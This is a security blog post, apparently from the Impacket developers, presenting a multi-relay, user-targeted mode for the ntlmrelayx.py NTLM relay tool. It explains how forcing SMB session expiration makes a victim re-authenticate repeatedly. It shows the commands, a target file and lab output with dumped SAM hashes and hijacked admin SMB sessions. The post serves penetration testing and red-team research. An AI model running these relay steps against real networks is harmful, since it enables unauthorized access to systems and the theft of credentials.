The NTLM (NT Lan Manager) relay attack is a well-known attack method that has been around for many years. Anybody with access to a network is able to trick a victim, intercept NTLM authentication attempts, relay them and gain unauthorized access to resources. This attack is widely used in penetration testing and red team exercises alike to gain an initial foothold in Active Directory environments in a few short minutes.
A number of patches were released, and too much time has passed since the first days of the protocol. With the added security mechanisms in signed NTLMv2 and with the implementation of Kerberos, this attack seemed a thing of the past. However, it’s pretty much still relevant in organizations with AD environments. Why? Because most of them still use NTLM for authentication, either NTLMv1 or unsigned NTLMv2, especially in support of backward compatibility. Furthermore, newly revealed vulnerabilities continuously increase the attack vectors and make the technique more attractive again. For example, during the last year a couple of vulnerabilities were reported by Preempt (here and here) that create the ability to bypass some security measurements in the protocol like the SMB session signing (CVE-2019-1019) or the Message Integrity Code.
All of the above-mentioned points keeps it interesting still to learn about the protocol. Why not explore new approaches to this attack technique?
The purpose of this blog post is to present a new approach to ntlmrelayx.py allowing multi-relay attacks, that means, using just a single connection to attack several targets. On top of this, we added the capability of relaying connections for specific target users.
One-Shot Attack (the original approach)
Before beginning to talk about the new approach and understanding how it works, let’s start by taking a closer look at ntlmrelayx.py and review some relevant aspects of the NTLM protocol.
The original use case of the tool was essentially a one-shot attack, meaning that if you were able to intercept a connection, an action would be triggered immediately using the successfully relayed authentication data. For example, an attacker could dump the SAM database, run an interactive shell, or execute a file, among a wide variety of actions. At this point, it would be interesting to know: how does the attack work? But, before answering this question, let's talk a little bit about NTLM.
NTLM is a challenge/response style protocol used in Windows for authentication between clients and servers. It's used by application protocols that require user authentication or session security, such as HTTP, SMB or SMTP. The NTLM messages are embedded in the packets of those application protocols. Basically, an authentication flow uses three kinds of messages:
- First, the client attempts to login to a server sending a NEGOTIATE_MESSAGE which advertises his capabilities.
- Then, the server responds with a CHALLENGE_MESSAGE in order to establish the identity of the client. This challenge (or nonce) is just a random number and must be encrypted by the client with his password hash.
- Finally, the client responds with an AUTHENTICATE_MESSAGE that includes the encrypted challenge, the username, the host name and (if appropriate) the domain name. The server verifies the challenge with the client’s password hash and checks its identity.
So, the attack is as simple as sitting in the middle of this exchange, intercept the messages, forward them and impersonate the victim.
ntlmrelayx.py implements a couple of relay servers that listen to the network waiting for a victim. Once the attacker selects the targets, it waits until someone or some system tries to authenticate to its machine. After it has the authenticated data, the attack is launched. It is simple, right?
So, it's time to take a more in-depth look at running a basic use case. By default, the tool gets the user’s hashes. Let's play a little bit with that. In this example, we will focus on the SMB server. We run ntlmrelayx.py in our box (192.168.195.175) specifying the IP address of the target we want to attack (192.168.195.5) and wait:
ntlmrelayx.py -t 192.168.195.5 Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [*] Protocol Client IMAP loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client LDAPS loaded.. [*] Protocol Client SMB loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client HTTP loaded.. [*] Protocol Client MSSQL loaded.. [*] Protocol Client SMTP loaded.. [*] Running in relay mode to single host [*] Setting up SMB Server [*] Setting up HTTP Server [*] Servers started, waiting for connections
Let's suppose we are able to trick a victim to connect to us. So, we receive a SMB connection, in this case, from an Administrator with the IP 192.168.195.3. After the authentication data is successfully relayed, the local SAM hashes are dumped, and we obtain something like this:
[*] SMBD-Thread-3: Received connection from 192.168.195.3, attacking target smb://192.168.195.5 [*] Authenticating against smb://192.168.195.5 as EJEMPLO\Administrator SUCCEED [*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey: 0x0fb1f3fb0688d27f094450941220df42 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: adminSQL:1000:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634::: [*] Done dumping SAM hashes for host: 192.168.195.5 [*] Stopping service RemoteRegistry
What happened could be represented as follows:
If we sniff the network during the attack, we will see the complete negotiation and authentication flow that the client follows (and our box relays) in order to be authenticated and get a SMB session. In grey are the original messages, and in orange the relayed ones:
The flow starts with a Negotiate Protocol Request message (SMB_COM_NEGOTIATE), where the client specifies the SMB version that supports, and continues with a sequence of Session Setuprequests and responses that include the before-mentioned NTLM embedded messages: NTLMSSP_NEGOTIATE, NTLMSSP_CHALLENGE, and NTLMSSP_AUTH. Once the client is successfully authenticated, he receives a response with STATUS_SUCCESS. After that, a TreeConnect request is sent. At this moment, we only name this type of message, but keep that in mind, later it will be of importance.
Up to this point, the attack represents a one-to-one relationship, that means: one victim takes the bait → one attack is launched against a specified target.
Reuse Every Session (the SOCKS approach)
We tricked a victim to connect to us and we launched an attack. We shot our only bullet. And now what?
In these scenarios, it would be great to have more control over the authentication sessions, and take full advantage of them regardless of the privilege the relayed accounts have at the target system. With this premise in mind, @agsolino added a SOCKS mode extension to ntlmrelayx.py. I won't go into details since the improvements are well detailed in this article. In a few words, the tool architecture was redesigned to include a SOCKS server and the SOCKS relay plugins, which allows holding the authenticated sessions active to be used and reused later (whenever we want) through a SOCKS proxy.
So far, we are still experiencing some limitations:
- We have the one-to-one relationship: one victim, one relay.
- We don't have control over which user we want to relay.
Current relay techniques start the attack process without knowing what user is going to be contacted because the username is in the last message of the NTLM authentication process (NTLMSSP_AUTH). This is a big restriction because, in order to evaluate which user we want to relay, we have to engage into an authentication transaction against the target server, generating unnecessary noise.
So, the question arises, how can we go one step further?
How about relaying a single connection to multiple targets? How about being able to decide whether or not to relay a connection based on the user that is connecting?
Usually, it's not good to answer a question with another question, but let's think about this: what if we login our victims locally and then, somehow, we force them to re-authenticate to us? In this way we will know the user account involved in the connection, and based on that, we can decide what to do next. This is the foundation of our new approach!
Let's focus in on the case of an SMB relay. In a nutshell, the approach we're using is to authenticate the user locally, against our SMB Server, and then, right after the first interaction the client executes (Do you remember the TreeConnect connection? Always there is a TreeConnect) we decide whether to relay or not, and force the client to authenticate again. This re-authentication is the trick here! How do we do this? There are several ways, but we found one that is very efficient and straightforward for the SMB protocol: force a session expiration. This solution is protocol dependent, so we have to think of a similar approach for our HTTP Server.
Let's breakdown the complete step-by-step process of an attack with the new approach to fully understand the changes:
1. It all starts with an incoming connection from a victim. At the SessionSetup level, we let him to login the first time.
2. After a successful authentication what always happens is a TreeConnect request against the IPC$ share occurs. This share is a special resource that allows a client system to connect to named pipes and mailslots. Windows implements these two elements following the IPC Mechanism for SMB specified by the Open Group. From [C195] 2.4.1 Distributed Computing Model:
Access to a named pipe is controlled via the "IPC$" resource. The server implementation must offer the "IPC$" resource name before a server application can create a named pipe. The system running the client process must connect to that "IPC$" resource before a client process can open a named pipe.
So, the first thing a Windows machine does after authentication is connect to IPC$. Inside the TreeConnect request, we find what we need: the identity! This message looks like this:
At this stage of the session flow, we already know the identity of the user that took the bait (domain/username), so, we can decide whether or not to perform a relay against the target server.
3. If we have a target that matches the user we picked before, we force re-authentication. To do this, we send a TreeConnect response with the status field: STATUS_NETWORK_SESSION_EXPIRED. From [MS-SMB2] 126.96.36.199.6 Handling Session Expiration:
If the Status field in the SMB2 header is STATUS_NETWORK_SESSION_EXPIRED, the client MUST attempt to re-authenticate the session that is identified by the SessionId in the SMB2 header, as specified in section 188.8.131.52.3. If the re-authentication attempt succeeds, the client MUST retry the request that failed with STATUS_NETWORK_SESSION_EXPIRED. If the re-authentication attempt fails, the client MUST fail the operation and terminate the session, as specified in section 184.108.40.206.
4. After triggering re-authentication, we're now back at Session Setup level. The user responses with a NEGOTIATE_MESSAGE starting a new NTLM authentication process.
5. Now we can relay to our chosen target.
But that's not all! The most relevant part of the story is that we can repeat this process over and over again until all targets for the connected user are exhausted. Yes, you read that right. For every victim that takes the bait, we can relay him/her to all the targets we want, meaning there will be many relays happening from a single connection. You can use the victim as an oracle for NTLM challenge-response!
The complete process would look like this:
So, let's test the oracle. We need to install the latest version of Impacket using pip or manually by git cloning the repo and running the setup:
pip install .
Once Impacket is installed, we create a target file with several entries specifying the targets we want to attack. From this version, we can also define these targets with usernames following the URI format, e.g. smb://User@220.127.116.11 or smb://DOMAIN\User@18.104.22.168. Be aware of the backslash!
Let's define a couple of targets with username and some only with the IP address:
smb://EJEMPLO\Administrator@192.168.195.2 smb://EJEMPLO\Administrator@192.168.195.3 smb://EJEMPLO\Operator@192.168.195.7 192.168.195.7 192.168.195.10
Then, we run the ntlmrelayx.py script with the -socks parameter:
ntlmrelayx.py -tf targets.txt -socks -smb2support Impacket v0.9.21-dev - Copyright 2020 SecureAuth Corporation [*] Protocol Client IMAP loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client LDAPS loaded.. [*] Protocol Client SMB loaded.. [*] Protocol Client HTTP loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client MSSQL loaded.. [*] Protocol Client SMTP loaded.. [*] Running in relay mode to hosts in targetfile [*] SOCKS proxy started. Listening at port 1080 [*] SMB Socks Plugin loaded.. [*] SMTP Socks Plugin loaded.. [*] HTTPS Socks Plugin loaded.. [*] MSSQL Socks Plugin loaded.. [*] HTTP Socks Plugin loaded.. [*] IMAPS Socks Plugin loaded.. [*] IMAP Socks Plugin loaded.. [*] Setting up SMB Server [*] Setting up HTTP Server [*] Servers started, waiting for connections Type help for list of commands ntlmrelayx> * Serving Flask app "impacket.examples.ntlmrelayx.servers.socksserver" (lazy loading) * Environment: production WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Debug mode: off
The relay server is active and listening for connections. After a while, we receive a single incoming SMB connection. Our Administrator friend again. The script processes all the target file, matching the picked user with the victims, and relays the authentication data:
[*] SMBD-Thread-8: Connection from EJEMPLO/ADMINISTRATOR@192.168.195.5 controlled, attacking target smb://EJEMPLO\Administrator@192.168.195.3 [*] Authenticating against smb://EJEMPLO\Administrator@192.168.195.3 as EJEMPLO/ADMINISTRATOR SUCCEED [*] SOCKS: Adding EJEMPLO/ADMINISTRATOR@192.168.195.3(445) to active SOCKS connection. Enjoy [*] SMBD-Thread-8: Connection from EJEMPLO/ADMINISTRATOR@192.168.195.5 controlled, attacking target smb://EJEMPLO\Administrator@192.168.195.2 [*] Authenticating against smb://EJEMPLO\Administrator@192.168.195.2 as EJEMPLO/ADMINISTRATOR SUCCEED [*] SOCKS: Adding EJEMPLO/ADMINISTRATOR@192.168.195.2(445) to active SOCKS connection. Enjoy [*] SMBD-Thread-8: Connection from EJEMPLO/ADMINISTRATOR@192.168.195.5 controlled, attacking target smb://EJEMPLO\Administrator@192.168.195.7 [*] Authenticating against smb://EJEMPLO\Administrator@192.168.195.7 as EJEMPLO/ADMINISTRATOR SUCCEED [*] SOCKS: Adding EJEMPLO/ADMINISTRATOR@192.168.195.7(445) to active SOCKS connection. Enjoy [*] SMBD-Thread-8: Connection from EJEMPLO/ADMINISTRATOR@192.168.195.5 controlled, attacking target smb://EJEMPLO\Administrator@192.168.195.10 [*] Authenticating against smb://EJEMPLO\Administrator@192.168.195.10 as EJEMPLO/ADMINISTRATOR SUCCEED [*] SOCKS: Adding EJEMPLO/ADMINISTRATOR@192.168.195.10(445) to active SOCKS connection. Enjoy [*] SMBD-Thread-8: Connection from EJEMPLO/ADMINISTRATOR@192.168.195.5 controlled, but there are no more targets left!
So, what did we obtain? From one connection we attacked four targets, not bad! We can check the list of active sessions by typing socks at the ntlmrelayx.py prompt:
ntlmrelayx> socks Protocol Target Username AdminStatus Port --------- ------------------ --------------------- ------------ ---- SMB 192.168.195.3 EJEMPLO/ADMINISTRATOR TRUE 445 SMB 192.168.195.2 EJEMPLO/ADMINISTRATOR TRUE 445 SMB 192.168.195.7 EJEMPLO/ADMINISTRATOR TRUE 445 SMB 192.168.195.10 EJEMPLO/ADMINISTRATOR TRUE 445
Let's suppose that two new connections from different users are created against our server:
[*] SMBD-Thread-3: Connection from EJEMPLO/NORMALUSER@192.168.195.6 controlled, attacking target smb://EJEMPLO\email@example.com [*] Authenticating against smb://EJEMPLO\firstname.lastname@example.org as EJEMPLO/NORMALUSER SUCCEED [*] SOCKS: Adding EJEMPLO/NORMALUSER@192.168.195.7(445) to active SOCKS connection. Enjoy [*] SMBD-Thread-3: Connection from EJEMPLO/NORMALUSER2@192.168.195.18 controlled, attacking target smb://EJEMPLO\email@example.com [*] Authenticating against smb://EJEMPLO\firstname.lastname@example.org as EJEMPLO/NORMALUSER2 SUCCEED [*] SOCKS: Adding EJEMPLO/NORMALUSER2@192.168.195.7(445) to active SOCKS connection. Enjoy
The script processes all the target file again, matching the grabbed identities. Finally, checking the session list, we can see that we have multiple active sessions impersonating different users waiting to be used...
ntlmrelayx> socks Protocol Target Username AdminStatus Port --------- ------------------ --------------------- ------------ ---- SMB 192.168.195.3 EJEMPLO/ADMINISTRATOR TRUE 445 SMB 192.168.195.2 EJEMPLO/ADMINISTRATOR TRUE 445 SMB 192.168.195.7 EJEMPLO/ADMINISTRATOR TRUE 445 SMB 192.168.195.10 EJEMPLO/ADMINISTRATOR TRUE 445 SMB 192.168.195.7 EJEMPLO/NORMALUSER FALSE 445 SMB 192.168.195.7 EJEMPLO/NORMALUSER2 FALSE 445
There is still much work to be done and many things to test. As we mentioned previously, this solution is protocol dependent. Therefore, we need to explore similar approaches for each application protocol that relies on NTLM for authentication, for example, a new one to be included in our HTTP Server.
We hope you enjoy this new feature! Happy hacking!